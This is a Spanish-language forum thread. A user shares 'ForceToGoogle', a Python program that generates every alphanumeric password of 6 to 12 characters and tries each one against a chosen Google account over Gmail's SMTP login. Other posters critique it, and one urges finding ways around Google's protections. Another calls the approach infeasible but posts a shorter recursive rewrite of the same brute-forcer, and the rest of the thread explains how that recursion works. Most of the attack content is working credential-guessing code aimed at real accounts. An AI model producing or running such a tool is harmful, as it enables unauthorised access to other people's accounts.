ForceToGoogle, ¿que os parece este programa realizado por mi?

[Jedahee]

Este es un programa realizado con python 3.6, encargado de generar todas las combinaciones posibles de palabras de longitud de 6 a 12 caracteres(no incluye caracteres especiales), luego tendréis que introducir un nombre de usuario de una cuenta de google y este programa se encarga de intentar entrar en la cuenta del usuario introducido validando cada contraseña generada hasta encontrar la correcta

Código (python) [Seleccionar] Expandir


# coding=utf-8
########################################################################################################################
#DESARROLLO
#Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de
#palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña
#otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo
########################################################################################################################
########################################################################################################################
#ANÁLISIS
#Realizar menu con decoración
#Longitud de caracteres variables de 6 a 12 caractares
#Hay que descargar el modulo colorama
#Se debe saber con antelación el usuario para poder averiguar la contraseña
#Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves
#Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla
########################################################################################################################
########################################################################################################################
#DISEÑO
#Importar librerias
#Crear archivo donde se van a guardar las libreriass
#Crear variables
#Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter
#Crear menu
#Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir
#Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google
#Que muestre en pantalla si la contraseña es correcta o no
########################################################################################################################
import smtplib, os, sys, colorama
from os import listdir
from typing import Any
from colorama import init, Fore
from termcolor import colored
import time
import random
colorama.init()
num = 0
num = int(num)

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789"

def menu():
    Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e"
    Force = Fore.YELLOW+"Force"
    print("##########################################")
    print("               "+Force+Fore.WHITE+"To"+Google+"            ")
    print(Fore.WHITE + "##########################################")

    print("Realizado por Jesús Daza Hernández")
    print(Fore.GREEN + '----------------------------O------------------------------')
    print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves")
    print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas")
    print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE)
def Fuerzabruta6():
    archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")
def Fuerzabruta7():
    archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                con = str(a + b + c + d + e + f + g)
                                archivo_7.write(con+"\n")
def Fuerzabruta8():
    archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    con = str(a + b + c + d + e + f + g + h)
                                    archivo_8.write(con+"\n")
def Fuerzabruta9():
    archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        con = str(a + b + c + d + e + f + g + h + i)
                                        archivo_9.write(con+"\n")
def Fuerzabruta10():
    archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        for j in car:
                                            con = str(a + b + c + d + e + f + g + h + i + j)
                                            archivo_10.write(con+"\n")
def Fuerzabruta11():
    archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        for j in car:
                                            for k in car:
                                                con = str(a + b + c + d + e + f + g + h + i + j + k)
                                                archivo_11.write(con+"\n")
def Fuerzabruta12():
    archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        for j in car:
                                            for k in car:
                                                for l in car:
                                                    con = str(a + b + c + d + e + f + g + h + i + j + k + l)
                                                    archivo_12.write(con+"\n")
def ComprobarClaves():
    try:
        smtpserver.login(email, pwd)
        print(Fore.GREEN+"CONTRASEÑA CORRECTA")
        print("La contraseña es: ", Fore.BLUE+pwd)
        archivo.close()
    except smtplib.SMTPAuthenticationError:
        pass
def salir():
    sys.exit()

menu()
opc = input(">> ")
opc = int(opc)
os.system("cls")

if opc == 1:
    print("Longitud de las claves a generar(6-12)")
    longitud = input(">> ")
    longitud = int(longitud)
    if longitud >=6 and longitud <=12:
        if longitud == 6:
            Fuerzabruta6()
        elif longitud == 7:
            Fuerzabruta7()
        elif longitud == 8:
            Fuerzabruta8()
        elif longitud == 9:
            Fuerzabruta9()
        elif longitud == 10:
            Fuerzabruta10()
        elif longitud == 11:
            Fuerzabruta11()
        elif longitud == 12:
            Fuerzabruta12()
        else:
            print("Tienes que elegir una longitud para tus claves a generar del 1 al 12")
            menu()
if opc == 2:
    print("Elige un archivo de contraseñas que quieras comprobar")
    for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"):
        print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE)
        num = int(num) + 1

    arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ")
    os.system("cls")
    email = input("Tu email: ")

    if arch_comp == "contraseñas_6":
        archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r")
        for pwd in archivo_6:
            ComprobarClaves()
    if arch_comp == "contraseñas_7":
        archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r")
        for pwd in archivo_7:
            ComprobarClaves()
    if arch_comp == "contraseñas_8":
        archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r")
        for pwd in archivo_8:
            ComprobarClaves()
    if arch_comp == "contraseñas_9":
        archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r")
        for pwd in archivo_9:
            ComprobarClaves()
    if arch_comp == "contraseñas_10":
        archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r")
        for pwd in archivo_10:
            ComprobarClaves()
    if arch_comp == "contraseñas_11":
        archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r")
        for pwd in archivo_11:
            ComprobarClaves()
    if arch_comp == "contraseñas_12":
        archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r")
        for pwd in archivo_12:
            ComprobarClaves()
if opc == 3:
    salir()



¿Que os parece?

[@XSStringManolo]

Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1");
Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc.

Usas muchas funciones distintas para hacer casi lo mismo.
Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones.

Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12.

Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas.
Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así.

Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro.

Prueba el programa a ver si funciona 

[Jedahee]

Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1");
Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc.

Usas muchas funciones distintas para hacer casi lo mismo.
Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones.

Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12.

Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas.
Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así.

Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro.

Prueba el programa a ver si funciona 

En cuanto al print y a la carpeta dentro de mi sistema la verdad es que no me di cuenta
Se que este programa no funcionaria con una empresa como lo es google, de hecho cuando yo probé este programa al rato de estar el programa intentando acceder a la cuenta de google, google te bloquea el acceso a esa cuenta por spam, lo cual ya destruye mi programa pero mas que nada he hecho este programa por el reto y bueno, este porgrama funcionaria si no tuviera como objetivo google  pero bueno, también lo he hecho para mostrarlo y que la gente opine donde podría mejorar en tema de sintaxis

[jmpesp]

El programa en si no funcionara (en teoria tarde o temprano obtendras la clave correcta, pero solo en teoria).

No solo por ser "Google" o por las protecciones que pueda llegar a tener (que de seguro al quinto intento el servidor SMTP comenzara a rechazar tus conexiones o a arrojar falsos negativos).

Recorrer todo el charset en todos los largos especificados te llevara 853058370935030464 intentos. A un promedio de digamos 700 ms por intento intentar todas las combinaciones posibles te llevaria 315586874 a;os.

Incluso teniendo el hash y el equipamiento necesario a tu disposicion, romperlo de esa manera seria improbable y una perdida de tiempo.

Los ataques por diccionario suelen ser mas efectivos, aunque no hay garantia de que la clave este en el diccionario.

En cuanto al codigo, como ya te dijieron, hay varias cosas que mejorar.

-No usar rutas absolutas.

-Guardar las claves generadas en el disco consume recursos innecesariamente, lo unico que necesitas es probar la clave momento despues de generarla.

-Las funciones FuerzaBrutaN deberian ser reemplazadas por una unica funcion que acepte el largo de la cadena a generar como parametro

Los colores y el menu de opciones en mi opinion son innecesarios.
Por que no recibir el email y el largo deseado por un parametro al programa y ya?

Tu programa podria ser reducido a:

Código [Seleccionar] Expandir


#!/usr/bin/python

import sys
import smtplib

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-/.,!%$#@&^*()_+;:'\""

def brute_google(email, passwd):

print "Probando {}:{}".format(email, passwd)

smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.starttls()

try:
smtp.login(email, passwd)
print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd)
sys.exit()
except smtplib.SMTPAuthenticationError:
pass

def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))

try:
email = sys.argv[1]
except IndexError:
print "Usar: {} [email]".format(sys.argv[0])
sys.exit()

for i in range(6, 16):
passwd = ['a' for x in range(i)]
gen_passwd(email, passwd, 0, i)



Código [Seleccionar] Expandir


$ ./brute.py test@mail.com
Probando test@mail.com:aaaaaa
Probando test@mail.com:aaaaab
Probando test@mail.com:aaaaac
Probando test@mail.com:aaaaad
Probando test@mail.com:aaaaae
Probando test@mail.com:aaaaaf



Saludos !

[Jedahee]

Wow la vd es que ese programa es muchísimo mejor... 
En cuanto los colores y eso es por simple estética y qje se viera mejor

Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)"

Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis?

Muchas gracias por responder!!

[jmpesp]

Wow la vd es que ese programa es muchísimo mejor... 
En cuanto los colores y eso es por simple estética y qje se viera mejor

Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)"

Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis?

Muchas gracias por responder!!

No es muy diferente a lo que hace tu codigo. Funciona de la misma manera.

Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena

Código [Seleccionar] Expandir


       # suponiendo que "i" (el largo) es 8
        passwd = ['a' for x in range(i)]       # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
gen_passwd(email, passwd, 0, i)


La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter).

Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado.

Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice.

Código [Seleccionar] Expandir


def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))



Para entenderlo mejor, con un charset de solo 3 caracteres:

Código [Seleccionar] Expandir


charset = "abc"
passwd = ['x','x','x']

#la primera llamada a gen_charset con indice 0 producira:

passwd = ['a','x','x']

#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1
# quedando

passwd = ['a','a',x']

# sucede lo mismo que antes pero ahora se utiliza el indice 2

passwd = ['a','a','a']

# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice
# se producen los siguientes resultados:

passwd = ['a','a','b']
passwd = ['a','a','c']

# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:

passwd = ['a','b','a']

# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista

passwd = ['a','b','b']
passwd = ['a','b','c']
passwd = ['a','c','a']
passwd = ['a','c','b']
passwd = ['a','c','c']
passwd = ['b','a','a']
passwd = ['b','a','b']
passwd = ['b','a','c']
passwd = ['b','b','a']
# [...] etc [...]



Que al final es lo mismo que haces tu hardcodeando los ciclos:

Código [Seleccionar] Expandir


    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")


Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final.

Espero se haya entendido

[Jedahee]

Gracias por responder!

[Jedahee]

No es muy diferente a lo que hace tu codigo. Funciona de la misma manera.

Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena

Código [Seleccionar] Expandir


       # suponiendo que "i" (el largo) es 8
        passwd = ['a' for x in range(i)]       # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
gen_passwd(email, passwd, 0, i)


La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter).

Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado.

Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice.

Código [Seleccionar] Expandir


def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))



Para entenderlo mejor, con un charset de solo 3 caracteres:

Código [Seleccionar] Expandir


charset = "abc"
passwd = ['x','x','x']

#la primera llamada a gen_charset con indice 0 producira:

passwd = ['a','x','x']

#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1
# quedando

passwd = ['a','a',x']

# sucede lo mismo que antes pero ahora se utiliza el indice 2

passwd = ['a','a','a']

# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice
# se producen los siguientes resultados:

passwd = ['a','a','b']
passwd = ['a','a','c']

# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:

passwd = ['a','b','a']

# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista

passwd = ['a','b','b']
passwd = ['a','b','c']
passwd = ['a','c','a']
passwd = ['a','c','b']
passwd = ['a','c','c']
passwd = ['b','a','a']
passwd = ['b','a','b']
passwd = ['b','a','c']
passwd = ['b','b','a']
# [...] etc [...]



Que al final es lo mismo que haces tu hardcodeando los ciclos:

Código [Seleccionar] Expandir


    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")


Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final.

Espero se haya entendido

Sigo teniendo algunas dudas sobre este código, tras haberlo analizado profundamente y también gracias a tus explicaciones he logrado entender gran partede el, basicamente tu programa es:

Código (python) [Seleccionar] Expandir



for i in range(6, 16):
passwd = ['a' for x in range(i)]
gen_passwd(email, passwd, 0, i)

Aquí haces que la contraseña sea ["a","a","a","a","a","a"] hasta 16 ["a"] y también le indicas a index que sea 0 y a lenght que sea i que sería lo mismo que 6, luego 7, 8, 9 ,10...hasta 15

Código (python) [Seleccionar] Expandir


def brute_google(email, passwd):

print "Probando {}:{}".format(email, passwd)

smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.starttls()

try:
smtp.login(email, passwd)
print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd)
sys.exit()
except smtplib.SMTPAuthenticationError:
pass

Aquí indicas que se va a mostrar en pantalla, inicias los servicios de gmail y además intentas logearte

Código (python) [Seleccionar] Expandir


def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x


Esa parte no la entiendo, que se supone que hace?

Código (python) [Seleccionar] Expandir


if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))

Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace

Código (python) [Seleccionar] Expandir


try:
email = sys.argv[1]
except IndexError:
print "Usar: {} [email]".format(sys.argv[0])
sys.exit()

Esta parte la entiendo a la perfección

Muchas gracias por responder y ayudarme!

[jmpesp]

def gen_passwd(email, passwd, index, length):
     
       for x in charset:
          passwd[index] = x
     


Esa parte no la entiendo, que se supone que hace?

Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd".

Ejemplo:

Código [Seleccionar] Expandir


charset = "123"
passwd = ['a','a','a']

# asumiendo que index = 0
for x in charset:
     passwd[index] = x
     print "".join(passwd)

# Produciria la siguiente salida:

1aa
2aa
3aa



      if index < (length-1):
         gen_passwd(email, passwd, index+1, length)

      brute_google(email, "".join(passwd))

Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace

Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password).
Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5.


Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd.
Toma como parametros una lista, y un indice.
Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como:

Código [Seleccionar] Expandir


charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# axxx
# bxxx
# cxxx
# .... etc ...


El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena.

Código [Seleccionar] Expandir


charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            gen(list, index+1)
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# aaxx
# abxx
# acxx
# baxx
# bbxx
# bcxx
# caxx
# cbxx
# ccxx
# .... etc ...




https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivas

Espero te ayude a entenderlo, no soy muy bueno explicando la verdad. 

[Jedahee]

Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd".

Ejemplo:

Código [Seleccionar] Expandir


charset = "123"
passwd = ['a','a','a']

# asumiendo que index = 0
for x in charset:
     passwd[index] = x
     print "".join(passwd)

# Produciria la siguiente salida:

1aa
2aa
3aa




Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password).
Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5.


Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd.
Toma como parametros una lista, y un indice.
Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como:

Código [Seleccionar] Expandir


charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# axxx
# bxxx
# cxxx
# .... etc ...


El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena.

Código [Seleccionar] Expandir


charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            gen(list, index+1)
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# aaxx
# abxx
# acxx
# baxx
# bbxx
# bcxx
# caxx
# cbxx
# ccxx
# .... etc ...




https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivas

Espero te ayude a entenderlo, no soy muy bueno explicando la verdad. 

aaaaah ya lo he entendido todo, gracias por responder!